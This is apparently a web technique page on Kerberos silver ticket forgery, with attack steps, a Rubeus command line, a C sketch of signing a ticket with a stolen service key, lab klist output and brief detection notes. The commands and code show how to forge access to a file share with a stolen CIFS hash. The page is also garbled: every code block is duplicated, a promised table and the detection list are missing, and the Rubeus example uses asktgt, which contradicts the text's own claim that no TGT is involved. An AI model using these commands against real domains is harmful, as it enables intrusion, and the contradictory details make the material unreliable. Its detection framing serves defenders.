Silver Ticket

Overview

A silver ticket is a forged service ticket (TGS). Instead of asking the key distribution center for a ticket to a service, the attacker builds the ticket themselves and signs it with that service’s own long-term key - the same key the KDC would use. The target service, which has no way to know the KDC never issued the ticket, validates the signature against its own key and accepts the logon. The whole exchange never reaches the domain controller, which is both the attack’s advantage (no 4769 is logged) and its tell.

The key difference from a golden ticket is the key and the reach. A golden ticket is signed with the krbtgt account key and can mint a TGT for any service in the realm. A silver ticket is signed with a single service’s key, so it reaches only that service - but it only requires the one service hash, not the KDC’s.

The call chain

1. 1
   Obtain the service's long-term key

   The target service's RC4 or AES key, typically from an LSASS dump or a DCSync.
   -
2. 2
   Build the forged TGS

   Construct a service ticket with a chosen client, service and validity window.
   krb5
3. 3
   Sign the TGS with the service key

   Encrypt the ticket exactly as the KDC would, using the service's own key.
   krb5
4. 4
   Present the TGS to the service

   Authenticate to the service; it validates the ticket against its own key and accepts it.
   -

Reference implementation

Rubeus performs the forgery with asktgt, pointed at the service principal and handed the service’s RC4 hash. The /ptt flag imports the result.

# the rc4 hash is the cifs service hash of the target machine account
rubeus.exe asktgt /user:CORP\fileserver$ /rc4:<cifs hash> \
/domain:corp.local /service:cifs/fileserver.corp.local /ptt

# the forged TGS is now in the cache; reach the share without a TGT
net use \\fileserver\shares$

# the rc4 hash is the cifs service hash of the target machine account
rubeus.exe asktgt /user:CORP\fileserver$ /rc4:<cifs hash> \
/domain:corp.local /service:cifs/fileserver.corp.local /ptt

# the forged TGS is now in the cache; reach the share without a TGT
net use \\fileserver\shares$

Which key to use depends on the service you are after. The table below lists the common ones.

C-level sketch

A forged TGS is a normal Kerberos ticket except it is signed with the service key rather than issued by the KDC. The forging steps, abridged:

// 1. pick the service principal, e.g. cifs/fileserver.corp.local
// 2. build the ticket body: client = victim, service = the principal above,
//    start/end = a chosen validity window
// 3. sign the ticket with the service's long-term key  <-- the step the
//    service checks; it has no way to know the KDC never issued it
krb5_keyblock key;              // service RC4 or AES key (from LSASS / NTDS)
key.enctype = ENCTYPE_RC4_HMAC;
krb5_enctype etype = ENCTYPE_RC4_HMAC;
krb5_encrypt(&ctx, &key, etype, &ticket_blob, &enc);
// 4. present the resulting TGS in an AP-REQ to the service  <-- omitted

// 1. pick the service principal, e.g. cifs/fileserver.corp.local
// 2. build the ticket body: client = victim, service = the principal above,
//    start/end = a chosen validity window
// 3. sign the ticket with the service's long-term key  <-- the step the
//    service checks; it has no way to know the KDC never issued it
krb5_keyblock key;              // service RC4 or AES key (from LSASS / NTDS)
key.enctype = ENCTYPE_RC4_HMAC;
krb5_enctype etype = ENCTYPE_RC4_HMAC;
krb5_encrypt(&ctx, &key, etype, &ticket_blob, &enc);
// 4. present the resulting TGS in an AP-REQ to the service  <-- omitted

Verifying in the lab

After the import, klist /get shows only the forged service ticket - there is no TGT. Accessing the target share works, and the domain controller logs nothing for the exchange.

> klist /get
Current user: CORP\fileserver$

  Start Time          End Time            Service Name
  ------------        --------            ----------
  09/04/2026 12:00    09/04/2026 20:00    cifs/fileserver
      ^ a TGS with no accompanying TGT in the cache  <-- the artifact

> klist /get
Current user: CORP\fileserver$

  Start Time          End Time            Service Name
  ------------        --------            ----------
  09/04/2026 12:00    09/04/2026 20:00    cifs/fileserver
      ^ a TGS with no accompanying TGT in the cache  <-- the artifact

Detection

Because the KDC is bypassed, the tell is a service logon that should never exist on its own.

Rank them: the missing-4769 correlation is the highest-fidelity signal and catches most forged TGS, but it needs the DC event stream joined to the target’s 4624. The cache / etype checks are cheap and run locally. None of them fire on a host that never talks to a KDC at all.

Variants & related